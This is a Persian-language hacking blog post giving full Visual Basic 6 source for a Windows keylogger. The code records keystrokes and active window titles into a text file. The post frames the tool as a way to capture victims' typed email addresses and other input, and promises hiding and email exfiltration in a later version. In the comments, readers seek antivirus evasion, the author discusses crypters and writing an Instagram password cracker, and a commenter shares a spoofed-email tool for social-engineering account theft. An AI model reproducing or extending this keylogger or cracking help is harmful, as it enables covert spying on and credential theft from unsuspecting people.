ساخت کیلاگر با ویژوال بیسیک 6 :: V i R u s Ʒ²

V i R u s Ʒ²

هک و امنیت

V i R u s Ʒ²

هک و امنیت

Virus 32

💢 دوستانم بی دفاع و دشمنانم بی جواب نخواهند ماند 💢

-->
آخرین نظرات
  • ۶ ارديبهشت ۰۳، ۱۶:۱۵ - hidden
    test

همونطور که قبلا اشاره کرده بودیم ، کیلاگر ها برنامه هایی هستن که اطلاعات تایپ شده یا همون نوشته شده توسط کاربر رو ذخیره میکنن و برای هکر میفرستن که هکر هم میتونه با استفاده از اون اگه کاربر قربانی آدرس ایمیل و ... ش رو وارد کرده باشه ، سوء استفاده کنه

باید بگم کیلاگری که مینویسیم خیلی سادست بطوری که آنتی ویروس درجا میگیرتش :)) اینو فقط درست کردم و با شما به اشتراک گذاشتم که با وی بی هم یه کیلاگری ساخته باشیم !!!

اگه وی بی 6 بلد نیستین پیشنهاد میکنم اول از همه یاد بگیرین ، چون خیلی سادست ، بطوری که میتونم بگم تقریبا با Html و Cssخودمون برابری میکنه و کسایی که تازه میخوان برنامه نویسی شروع کنن ، خیلی سریع میتونن یاد بگیرن :) البته Html و Css زبان برنامه نویسی نیست و برای نشانه گذاریه

برای اینکار هم کارتونو ساده کردیم بطوری که تو وب خودمون هم Terminator32 یاد داده و هم قبلا کتاب آموزشی قرار داده بودیم

کتاب آموزش ویژوال بیسیک : جهت اطلاعات بیشتر و دانلود ، اینجا کلیک کنین

آموزش مقدماتی ویژوال بیسیک توسط Terminator32 : برای دیدن قسمت اول آموزش اینجا کلیک کنین

همچنین قبلا آموزش های زیادی در رابطه با ساخت کیلاگر داده بودیم که میتونین از لینک های پایین به اون مراجعه کنین

آموزش ساخت کیلاگر برای لینوکس با پایتون -> کلیک کنید

آموزش ساخت کیلاگر برای ویندوز با سی شارپ دات نت -> کلیک کنید

آموزش ساخت کیلاگر وب با چند زبان مختلف -> کلیک کنید

الان هم که میخوایم با استفاده از زبان ویژوال بیسیک درستش کنیم !!!

اول از همه ابزار ویژوال رو استارت کنین و موارد پایین رو (از طریق قسمت جعبه ابزار) با تنظیماتی که میگم به فرمتون اضافه کنین


TextBox -> 1 number -> Name : Text1

Timer -> 3 number -> Name : Timer1 , Timer2 , Timer3

===========================================================

Timers Enable

Timer1 & Timer3 => Enable : True

Timer2 => Enable : False

===========================================================


Timers Interval

Timer1 => Interval : 1

Timer2 => Interval : 1

Timer3 => Interval : 200

اگه نفهمیدین بالا چی نوشتم بگین بگم :)) ولی خیلی سادست ها یه خرده دقت کنین

در کل یدونه تکست باکس اضافه کنین سه تا هم تایمر و ویژگی های Interval و Enable تایمر هارو تغییر بدین ، بعدا برگردین و اسم های تایمرها + اسم تکست باکس رو تغییر بدین به چیزی که گفتم

البته میتونستم اینارو بصورت کد در بیارم که ساده باشه و شما هم راحت باشین ، اما میخوام مفت خوری نشه و یه خرده هم خودتون دستکاری کنین تا با محیط ویژگی یه ابزار آشنا بشین

بعد از اضافه کردن و تغییر دادن مواردی که گفتم

یه دیزاین این شکلی درست کنین

حالا به ترتیب کدهای پایین رو اضافه کنین

کدهای پایین رو اضافه کنین به بخش General

' برای اینکه بدونیم کلید شیفت توسط کاربر زده شده یا نه
Private Const VK_SHIFT = &H10

' برای زمانی که کاربر از حروف بزرگ انگلیسی استفاده میکنه Private Const VK_CAPITAL = &H14
' از ای پی آی های پایین هم استفاده میکنیم تا بدونیم که کلید های کیبورد رو بخونیم و و چیزای دیگه Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private LastWindow As String Dim wintxt As String

حالا مجددا به رویداد تایمر 1 برین و کدهای پایین رو به اون اضافه کنین

Dim FoundKeys As String

    Dim AddKey, KeyResult
KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
        AddKey = "[Enter]" + vbCrLf
        GoTo keyfound
    End If
    KeyResult = GetAsyncKeyState(32)
    If KeyResult = -32767 Then
        AddKey = " "
        GoTo keyfound
    End If
     
    KeyResult = GetAsyncKeyState(9)
    If KeyResult = -32767 Then
        AddKey = "[Tab]"
        GoTo keyfound
    End If
    
    KeyResult = GetAsyncKeyState(8)
    If KeyResult = -32767 Then
        AddKey = "[BackSpace]"
        GoTo keyfound
    End If
    
    KeyResult = GetAsyncKeyState(46)
    If KeyResult = -32767 Then
        AddKey = "[Delete]"
        GoTo keyfound
    End If
    
    KeyResult = GetAsyncKeyState(45)
    If KeyResult = -32767 Then
        AddKey = "[Insert]"
        GoTo keyfound
    End If
    
    KeyResult = GetAsyncKeyState(33)
    If KeyResult = -32767 Then
        AddKey = "[PageUP]"
        GoTo keyfound
    End If
    
   KeyResult = GetAsyncKeyState(34)
    If KeyResult = -32767 Then
        AddKey = "[PageDown]"
        GoTo keyfound
    End If
    
     KeyResult = GetAsyncKeyState(36)
    If KeyResult = -32767 Then
           AddKey = "[Home]"
        GoTo keyfound
    End If
    
    KeyResult = GetAsyncKeyState(35)
    If KeyResult = -32767 Then
        AddKey = "[End]"
        GoTo keyfound
    End If
    
    KeyResult = GetAsyncKeyState(112)
    If KeyResult = -32767 Then
        AddKey = "[F1]"
        GoTo keyfound
 End If
 
   KeyResult = GetAsyncKeyState(113)
    If KeyResult = -32767 Then
        AddKey = "[F2]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(114)
    If KeyResult = -32767 Then
        AddKey = "[F3]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(115)
    If KeyResult = -32767 Then
        AddKey = "[F4]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(116)
    If KeyResult = -32767 Then
        AddKey = "[F5]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(117)
    If KeyResult = -32767 Then
        AddKey = "[F6]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(118)
    If KeyResult = -32767 Then
        AddKey = "[F7]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(119)
    If KeyResult = -32767 Then
        AddKey = "[F8]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(120)
    If KeyResult = -32767 Then
        AddKey = "[F9]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(121)
    If KeyResult = -32767 Then
        AddKey = "[F10]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(122)
    If KeyResult = -32767 Then
        AddKey = "[F11]"
        GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(123)
    If KeyResult = -32767 Then
        AddKey = "[F12]"
        GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(221)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = "}"
        Else
        AddKey = "]"
 End If
 GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(219)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = "{"
        Else
        AddKey = "["
 End If
 GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(186)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = ":"
        Else
        AddKey = ";"
 End If
 GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(222)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = """"
        Else
        AddKey = "'"
 End If
 GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(188)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = "<"
        Else
        AddKey = ","
 End If
 GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(190)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = ">"
        Else
        AddKey = "."
 End If
 GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(191)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = "?"
        Else
        AddKey = "/"
 End If
 GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(220)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = "|"
        Else
        AddKey = "\"
 End If
 GoTo keyfound
 End If

 KeyResult = GetAsyncKeyState(187)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = "+"
        Else
        AddKey = "="
 End If
 GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(189)
    If KeyResult = -32767 Then
     If GetKeyState(VK_SHIFT) < 0 Then
        AddKey = "_"
        Else
        AddKey = "-"
 End If
 GoTo keyfound
 End If

 KeyResult = GetAsyncKeyState(111)
    If KeyResult = -32767 Then
        AddKey = "/"
 GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(106)
    If KeyResult = -32767 Then
        AddKey = "*"
 GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(109)
    If KeyResult = -32767 Then
        AddKey = "-"
 GoTo keyfound
 End If

KeyResult = GetAsyncKeyState(107)
    If KeyResult = -32767 Then
        AddKey = "+"
 GoTo keyfound
 End If
 
 KeyResult = GetAsyncKeyState(110)
    If KeyResult = -32767 Then
        AddKey = "."
 GoTo keyfound
 End If

For o = 96 To 105
KeyResult = GetAsyncKeyState(o)
    If KeyResult = -32767 Then
    TypeWindow
       Select Case Val(o)
                Case 97
                    Text1 = Text1 & "1"
                    
                Case 98
                    Text1 = Text1 & "2"
                Case 99
                    Text1 = Text1 & "3"
                Case 100
                    Text1 = Text1 & "4"
                Case 101
                    Text1 = Text1 & "5"
                Case 102
                    Text1 = Text1 & "6"
                Case 103
                    Text1 = Text1 & "7"
                Case 104
                    Text1 = Text1 & "8"
                Case 105
                    Text1 = Text1 & "9"
                Case 96
                    Text1 = Text1 & "0"
            End Select
            Exit Sub
    End If
Next o
'END NUM LOCK


'Alphabet
For i = Asc("A") To Asc("Z")
 If GetAsyncKeyState(i) = -32767 Then
  TypeWindow
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
 End If
Next i
For i = 48 To 57
 If GetAsyncKeyState(i) = -32767 Then
  TypeWindow
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
       Select Case Val(Chr(i))
                Case 1
                    Text1 = Text1 & "!"
                    
                Case 2
                    Text1 = Text1 & "@"
                Case 3
                    Text1 = Text1 & "#"
                Case 4
                    Text1 = Text1 & "$"
                Case 5
                    Text1 = Text1 & "%"
                Case 6
                    Text1 = Text1 & "^"
                Case 7
                    Text1 = Text1 & "&"
                Case 8
                    Text1 = Text1 & "*"
                Case 9
                    Text1 = Text1 & "("
                Case 0
                    Text1 = Text1 & ")"
            End Select
            Exit Sub
Else
 Text1 = Text1 & Chr(i)
   Exit Sub
     End If
     Exit Sub
 End If
Next i
Exit Sub
keyfound:
TypeWindow
Text1 = Text1 & AddKey

حالا به رویداد تایمر ، تایمر 2 برین و مجدد کدهای پایین رو به اون اضافه کنین ، در واقع اینجا ما لاگ هارو توی یه فایل Txt میریزیم

If Text1.Text <> "" Then
Open App.Path & "\Keylogger.txt" For Append As #1
        Print #1, Text1.Text
        Print #1, "-------------------------------------------------"
        Close #1
        Text1.Text = ""
        End If
        Timer2.Enabled = False

حالا زیر همون End Sub که برای Timer2 هست کدهای پایین رو اضافه کنین

Function TypeWindow()
Dim handle As Long
Dim textlen As Long
Dim WindowText As String

handle = GetForegroundWindow
LastHandle = handle
textlen = GetWindowTextLength(handle) + 1
WindowText = Space(textlen)
svar = GetWindowText(handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)
wintxt = WindowText
If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1
Text1 = "Window Title : " & WindowText & vbNewLine & "Type Key : "
LastWindow = WindowText
End If
End Function

حالا که کدهای بالارو اضافه کردین ، رویداد تایمر ، Timer3 رو باز کنین و کدهای پایین رو داخل اون قرار بدید

Dim Handle1 As Long
Dim textlen1 As Long
Dim WindowText1 As String
Dim wintxt2 As String

Handle1 = GetForegroundWindow
LastHandle1 = handle
textlen1 = GetWindowTextLength(Handle1) + 1
WindowText1 = Space(textlen1)
svar1 = GetWindowText(Handle1, WindowText1, textlen1)
WindowText1 = Left(WindowText1, Len(WindowText1) - 1)
wintxt2 = WindowText1
If wintxt2 <> wintxt Then
Timer2.Enabled = True
End If

حالا وقتی کدهارو کپی کردین و ... وقتش میرسه که یه فایل ماژول اضافه کنیم و چند خط کد به اون اضافه کنیم که برای ایجاد ماژول تصویر پایین رو نگاه کنین و اگر متوجه نشدین ، بگین تا توضیح بدم !!!

بعد از اینکه مراحل بالارو انجام دادین و در آخر Module رو انتخاب کردین ، یه پنجره دیگه براتون باز میشه که شما مجددا اونجا روی ماژول کلیک کنین و Open رو بزنین

حالا از سمت راست اگه دقت کنین یه پوشه جدید اضافه شده که اسمش Modules هست که کنارشم یه علامت بعلاوه (+) وجود داره که شما باید اون علامت + رو بزنین تا ماژول ها به نمایش در بیاد ، بعدا دوبار روی ماژول یک کلیک کنین و کدهای پایین رو به اون اضافه کنین

Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Public Function WinDir() As String
  Dim SysPath As String
  SysPath = String(255, vbNullChar)
  GetWindowsDirectory SysPath, 255
  WinDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)
End Function
Public Function SysDir() As String
  Dim SysPath As String
  SysPath = String(255, vbNullChar)
  GetSystemDirectory SysPath, 255
  SysDir = Left(SysPath, InStr(SysPath, vbNullChar) - 1)
End Function

کدهای بالارو که اضافه کردین ، میریم سراغ تست برنامه که برناممون خدایی نکرده خطا نده ;)

برای اجرای برنامه اونو یه جا ذخیره میکنیم که برای اینکار مراحل پایین رو انجام بدین

منوی فایل -> Save project -> مسیر ذخیره سازی فرم رو بدین و Save رو بزنین -> مجددا مسیر ذخیره سازی پروژه رو بدین و Save رو بزنین

بعد از اینکه پروژه رو ذخیره کردین با کلید F5 برنامه رو اجرا کنین و یه خرده مزخرف تایپ کنین که من چیزای پایین رو تایپ کردم ، البته برای من مزخرف نیس :)

خب دیگه اینم از تستش

یه تست نهایی مونده که اونم باید خودتون بررسیش کنین ، برای انجام کار نهایی هم که به جایی که پروژه رو ذخیره کردین برین و اونجا بگردین دنبال یه فایل متنی با اسم Keylogger چون لاگ های گرفته شده بلافاصله ذخیره میشه ...

در آخر هم برای اینکه پروژتونو کامپایل کنین و فایل Exe تولید کنین به منوی File برین و Exe.* رو انتخاب کنین ، فقط دقت کنین به جای * اسم پروژتون قرار داره

سعی میکنم تو آپدیت های بعدی یه نمه قشنگ ترش کنم ، مثلا ارسال ایمیل + مخفی سازی و ...

موفق باشید

نظر (۲۷)

  • Virus32
  • مهران خالقی
  • سلام یه سوال دارم میدونم بی ربط ولی چون عجله دارم اینجا میپرسم چطوری واس مطالب در بلاگ رمز بزارم ؟
    Virus32 Virus 32 :
    سلام
    هنگام انتشار پست جدید پایین سمت چپ قسمت تنظیمات مطلب وجود داره اونجا تیک اول رو بزن رمز مورد نظرت رو بده
  • Virus32
  • مهران خالقی
  • ممنون
    سلام virusجان سنتری کار کردی اگ کار کردی ایا میشه با سنتری سایت های با پسوند دات نت و ... کرک یا هک کرد؟ یا حتمن باید از کالی استفاده کنم.
    Virus32 MR_C0D3R ‌ :
    سلام
    از نرم افزار سنتری کلا برای کرک استفاده میشه
    فرقی نمیکنه دامینش چی باشه یعنی اگه Com , Ir , Org , Net و ... باشه
    هیچ مشکلی نداره
    همه چیز بستگی به کانفیگ خودت داره
    کالی بحثش جداست
  • Virus32
  • علیرضا آهنی
  • آدم خوف میکنه میاد وب شما !!
    Virus32 MR_C0D3R ‌ :
    چرا ؟
  • Virus32
  • علیرضا آهنی
  • سیاه هستش ، بعد اون گوشه یه عکسه و بعد قسمت طبقه بندی هم یه جوری هست رنگش ، هر کاربری تازه کار باشه خوف میکنه !!
    Virus32 MR_C0D3R ‌ :
    آهان ;)
    سلام مستر کدر :)
    خواستم گم اگه خواستی احتمالا بتونم کیلاگری بنویسم که هم مخفی باشه و هم متون رو به ایمیلت ارسال کنه ...
    اگه کمک خواستی بفرما حتما

    یه یاس هم بزاریم البته اگه اسکریپت ممنوع نباشه :(

    Virus32 MR_C0D3R ‌ :
    سلام عزیز
    نه ممنون خودم میتونم بنویسم
    فقط چون پست طولانی شد و حسش نبود ادامشو بنویسم
    بخاطر همین گفتم تو آپدیت بعدی کاری میکنیم که متن رو به ایمیل بفرسته و ...
    بخش‌هایی از این نظر که با * مشخص شده، توسط مدیر سایت حذف شده است
    سلام C0D3R
    یه فایل Batch ساخته بودم برای ارسال ایمیل فیک ( ارسال ایمیل از آدرس دلخواه ) که فرستادم براتون تا توی وبلاگتون منتشر کنین تا دوستان استفاده کنند ...
    دوستان خیلی راحت میتونن از این طریق سمت کلاینت اکانت خیلی سایت ها یا نرم افزار ها رو با یخرده مهندسی اجتماعی هک کنند :)

    *******************************t

    کدشو میتونین از این لینک دریافت کنین و یه نکته اینکه اگه خواستین نیاز نیست این لینکو منتشر کنین فقط خودتون از توش کد رو بردارین و منتشر کنین ...
    بعد از ارسال ایمیل ، زدم سایت شما رو باز کنه ;)
    Virus32 MR_C0D3R ‌ :
    سلام
    بهش فکر میکنم .... :)
    سلام ، هاستم در حال حاضر بسته شده و فعلا اون فایل bat برای ارسال ایمیل فیک رو منتشر نکنین تا هاستم اوکی شه ...
    Virus32 MR_C0D3R ‌ :
    چه بد.... !!
    سلام دوباره ;)
    پشتیبانی هاست به اینکه کد bat رو اپلود کرده بودم گیر داده بود و الان بازه ، اگه خواستین میتونین کد رو برای کاربر هاتون منتشر کنین ...
    البته اینکه فرستادم منظور خاصی نگیرین ، شما که خودتون استادین ، برای صرفه جویی در وقت و ... فرستادم ❤️
    Virus32 MR_C0D3R ‌ :
    سلامی مجدد
    اوکی عزیز
    اگه ببینم شرایطش اوکیه کدهارو در قالب یه پست میزارم
    ممنون :)
    سلام سلطان خسته نباشی، ایشالا همیشه پایدار باشی، میخواستم بازم مزاحمت بشمو بگم اگه امکانش هست میشه سورس کد کرکر اینستا با پایتون رو بزاری البته اگه امکانش باشه ها وگرنه ک ثابت شده ای، یا اینکه خودت ی برنامه کرکر اینستای توپ بزاری ک واقعا کار راه بنداز باشه، ی چندتا دیگه سوال دارم دیگه روم نمیشه اونارو بعد ازت میپرسم، بازم معذرت اگه ی موقع توقعمون زیاده و اذیتت میکنم
    Virus32 MR_C0D3R ‌ :
    سلام
    به زبان پایتون باشه ؟
    جمعه سرم خلوته مینویسم میزارم
    سلام عزیز، دیشب میخواستم کامنت بزارم خطای 504 میزد وب نمیومد بالا، اره همون ب زبان پایتون باشه اگه 3 باشه ک دیگه عالی میشه وگرنه بازم هر جور ک خودت نوشتی زحمت میشه و لطف میکنی سلطان
    Virus32 MR_C0D3R ‌ :
    سلام
    دیروز کلا خسته بودم نیومدم به وب سر بزنم
    با پایتون 3 نمیتونم
    اما با پایتون 2 مینویسم
    نیم ساعتی میشه فهمیدم فردا نمیرم سر کار به احتمال زیاد تا فردا آماده بشه
    الان هم داشتم روی اون کار میکردم
    هم میخوام یوزر گرابر بنویسم و هم کرکرشو
    بخاطر همین یه خرده کارم سخت شده که یه نمه طول میکشه
    البته یوزر گرابر رو مطمئن نیستم بتونم بنویسم ولی چون یوزر گرابرهای اینستا
    از کار افتاده بخاطر همین دارم مینویسم که اگه شد
    که چه خوب و اگه نشد هم که هیچ و همون کرکر رو مینویسم
    جان منی تو داداااش، با هر پایتونی بنویسی حله سلطان همین ک میخوای ب زحمت بیفتی خودش ی دنیای ارزش داره و حالا حالاها نمیتونیم واست جبران کنیم عزیز، ن سلطان همون کرکر بزار هم ب کارت برسی هم وقتتو نگیریم، خلاصه بازم میگم برج میلاد خلال دندونته داداش، فعلا
    Virus32 MR_C0D3R ‌ :
    نوشتم اما یه خرده باید دیباگ بشه
    حوصله ی دیباگینگو ندارم
    اما کدها تکمیله و همه چیز اوکیه
    فقط یه چند تا چیز باید تغییر کنه
    میخوای کدارو بفرستم به ایمیلت ؟
    بعدا اونارو خودت ویرایش کنی ؟
    دستت طلا، کارگرتم بدون حقوق 😆، اره سلطان بفرست، ایمیلمو تغییر دادم ب همین بفرست عزیز، ایشالا ی روزی جبران کنم محبتاتو، اگه جاییم ب مشکل خوردم بازم ازت سوال میپرسمو مزاحمت میشم، همیشه با راهنمایات کارم راه افتاده، هر وقت وقت کردی بفرست سلطان
    Virus32 MR_C0D3R ‌ :
    کدارو فرستادم خب ؟
    هر چی که کد گذاشتم تو کادر مثل
    ست کردن User-Agent و ...
    همه ی اونا باید تغییر کنه
    بعدا پایین کدها یدونه کادر دیگه گذاشتم که
    اونم به این معنیه وقتی لاگین شد و با این متن بر خورد کرد یعنی یدونه فایل hit
    درست کنه و هر کدوم از کمبو ها که توی اون سایت لاگین داد رو روی اون سیو کنه
    همه ی کدها درسته چیزی رو دستکاری نکن
    به غیر از بخش کانفیگش که من حوصلشو نداشتم
    برای بدست آوردن اطلاعاتی مثل یوزر ایجنت و ...
    روی یکی از کادر های پسوورد یا نام کاربری تو سایت اینستا
    راست کلیک کن و Inspect Element رو بزن
    یا اینکه اگه از کروم استفاده میکنی بعد از راست کلیک
    گزینه ی Inspect رو بزن و برو به سر برگ Header
    اگه سوالی بود بپرس ... فعلا همینا به ذهنم رسید
    فداییی داری، همین ک زحمتشو کشیدی خودش ی دنیای ارزش داره، میرم انجام میدم ولی خب همیشه راهنمایات ی جوری بوده ک حلش کردم اگه مشکلیم بوده، اینسریم مثل همیشه حله، ولی خب باز مزاحم میشم اگه ب مشکلی برخوردم |:D، فعلا ک سر کارم شب ردیفش میکنم، فعلا سلطان
    Virus32 MR_C0D3R ‌ :
    تلاش کن اگه نتونستی بگو یه کد دیگه بزارم که
    تازه تموم کردم ، یه خرده زیاده اما خیلی کاربردی تر
    مثلا میتونیم تشخیص بدیم کاربر از چه پایتونی استفاده میکنه (2 و 3)
    یا اینکه میتونیم بفهمیم اکانتش دو مرحله ایه یا نه و ...
    کانفیگ اونم دیدم بیکارم ، نشستم درست کردم
    فداااییی داری، هرچی کد بیشتر کاربردی تره، فقط میدونی بعضی موقعه ها این تو رفتگی ها اذیت میکنه و ارور ساینتکس، من همون با idle خود پایتون میزنم، ویرایشگر دیگه ای کار نمیکنم، راستی سلطان ورژن 2 پایتنونو نصب کنم کدومش بهتره 2.7.4 خوبه یا پایینتر، بازم دستت طلا ک دوباره زحمت کشیدی ک نشستی کد زدیو ب زحمت افتادی عزیز
    Virus32 MR_C0D3R ‌ :
    فرق نمیکنه من خودم
    از پایتون 2.7.14 استفاده میکنم
    حله سلطان، همینو میگیرم
  • Virus32
  • علیرضا آهنی
  • سلام . من برای اجرای نرم افزار ورد در ویژوال بیسیک این دستورو زدم ارور داد :
    Shell "word"
    متن ارور :
    Run-time error '53';
    File not found
    Virus32 MR_C0D3R ‌ :
    سلام
    همونطور که میدونی یا نمیدونی با تابع شل
    میتونیم برنامه های ویندوزی رو فقط با اسمشون و بدون
    دادن مسیر اجرا کنیم
    اما برای اجرای برنامه های نصبی باید مسیر بدیم
    Shell "C:\Program Files\Office2016\word.exe", vbNormalFocus
    مثلا من اینجا مسیر خودم رو دادم که شما هم باید مسیر برنامه ی خودت رو بهش بدی
  • Virus32
  • علیرضا آهنی
  • ممنون
  • Virus32
  • علیرضا آهنی
  • راستی یه سوال دیگه ، چطوری زبانو عوض کنیم ؟ با کدنویسی ؟
    Virus32 MR_C0D3R ‌ :
    زبان چیو ؟
    زبان سیستم ؟ Fa -> En
    و برعکسش...
  • Virus32
  • علیرضا آهنی
  • آره
    Virus32 MR_C0D3R ‌ :
    برای اینکار میتونیم از توابع ویندوز استفاده کنیم
    دو تا دکمه بزار
    با اسم های btn_1 و btn_2
    بعدش کدهای پایین رو کپی کن به جای کل کدهای خودت
    Private Declare Function ActivateKeyboardLayout Lib "user32" (ByVal HKL As Long, ByVal flags As Long) As Long
    Option Explicit
    
    Private Sub btn_1_Click()
    ActivateKeyboardLayout 1065, 0
    End Sub
    
    Private Sub btn_2_Click()
    ActivateKeyboardLayout 1033, 0
    End Sub
    با دکمه ی اول میتونیم زبان رو به فارسی
    و با دکمه ی دوم میتونیم زبان رو به انگلیسی تغییر بدیم
    ما اینجا از
    ActivateKeyboardLayout
    توی تابع user32 استفاده کردیم
  • Virus32
  • علیرضا آهنی
  • بازم ممنون :)
    Virus32 MR_C0D3R ‌ :
    خواهش
    یه سوال !!!
    تقریبا ساعت نه و نیم پرسیدی
    ساعت ده و هشت دیقه جواب دادم
    بعدا توی ساعت ده و نه دیقه این کامنت رو دادی
    انصافا وایستاده بودی داشتی صفحه رو رفرش میدادی که ببینی جواب دادم یا نه ؟ D:
  • Virus32
  • علیرضا آهنی
  • نه ، داشتم توی وبگردی میکردم :| برای همین سریع دیدم. از پنل وبلاگم البته !
    Virus32 MR_C0D3R ‌ :
    اوکی موفق باشی...
  • Virus32
  • دیکته نویس
  • ثلام.منو که یادتون نرفته دلم براطون طنگ شده بود😅😂خب هالا اگه ما بخایم این کیلاگر این اتلاعاط رو به ایمیلمون ارصال کنه ما باید چی کار کنیم؟
    Virus32 MR_C0D3R ‌ :
    الان یلخکی اومدم تو نت
    کدهای وی بی هم توی اون یکی سیستممه
    برگشتم حتما برات ته این پست میزارم یا اینکه تو جواب کامنتت میزارم و یا ...
  • Virus32
  • دیکته نویس
  • یه صوال خب اگه انتی ویروث بگیرتش به چه دردی می خوره؟
    Virus32 MR_C0D3R ‌ :
    دفعه بعدی که اینجوری پرسیدی و جواب ندادم میفهمی :)
    و اما جواب سوالت اینکه
    ما اگه با استفاده از کریپتر برناممونو برای کسای دیگه ناخوانا کنیم چه فایده ای داره ؟
    مثلا بنظرت آنتی ویروسا میتونن بگیرنش یا ... ؟
    یا اینکه برای ساختنش از توابع ویندوزی استفاده نکنیم تا کیلاگر شناخته نشه چطور ؟
  • Virus32
  • دیکته نویس
  • اخه چرا؟چرا با من اینجوری رفتار می کنید و نمی خواحید جواب من رو بدید؟
    شما دارید طبعیذ غاعل می شید.این حا که اشتباح طایپی(املایی) نیست اشتباه لوپیه
    راثتی.برگشتی که کد حای ویژوبالبلبیب بیسیبسیبلینیبک رو بضاری؟

    Virus32 Virus 32 :
    سلام وی بی
  • Virus32
  • کامیار سعادتمند
  • سلام تو قسمت Timer1 بین کد ها جایی که این کد رو تعریف کردید:

    For O = 96 To 105

    به من ارور داد بعد روی Ctrl+F زدم دیدم اصلا Dim O نداره پس این متغییر تعریف نشده،

    تازه متوجه شدم اینو بهش اضافه کردم درست شد:

    Dim O As String 

    لطفا در نوشتن کد ها دقت کنید یک نفر بخواد امتحان کنه به مشکل برمیخوره

    Virus32 Virus 32 :
    سلام عزیز
    ممنون بخاطر اطلاع رسانیت
    ولی ما همیشه به این شکل مینویسیم
    یه قسمت کوچیک رو ناقص میزاریم تا دوستان بیشتر درگیر کدها شن

    سلام با تشکر از شما بسیار کامل مفید بود برای کسانی که میخوان با vb.net این برنامه رو بنویسن یکم ویرایش نیاز داره مثلا کد های timer1 یه همچین چیزی میشه :

    Public log As String (این که خب اول کد ها بنویسید مشخصه:))

    برای تایمر یک هم :

    If (GetAsyncKeyState(65)) Then
                log = log + "A"
            ElseIf (GetAsyncKeyState(66)) Then
                log = log + "B"(همینجوری الی آخر) آخرش هم یه تکست باکس بسازین و :

      TextBox1.Text = log

    البته ویرایش های بیشتری هم نیاز داره ولی خب خواستم این مورد رو توضیح بدم و کمکی کرده باشم:)

    Virus32 Virus 32 :
    سلام
    ممنون عزیز ♥
    ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
    شما میتوانید از این تگهای html استفاده کنید:
    <b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
    تجدید کد امنیتی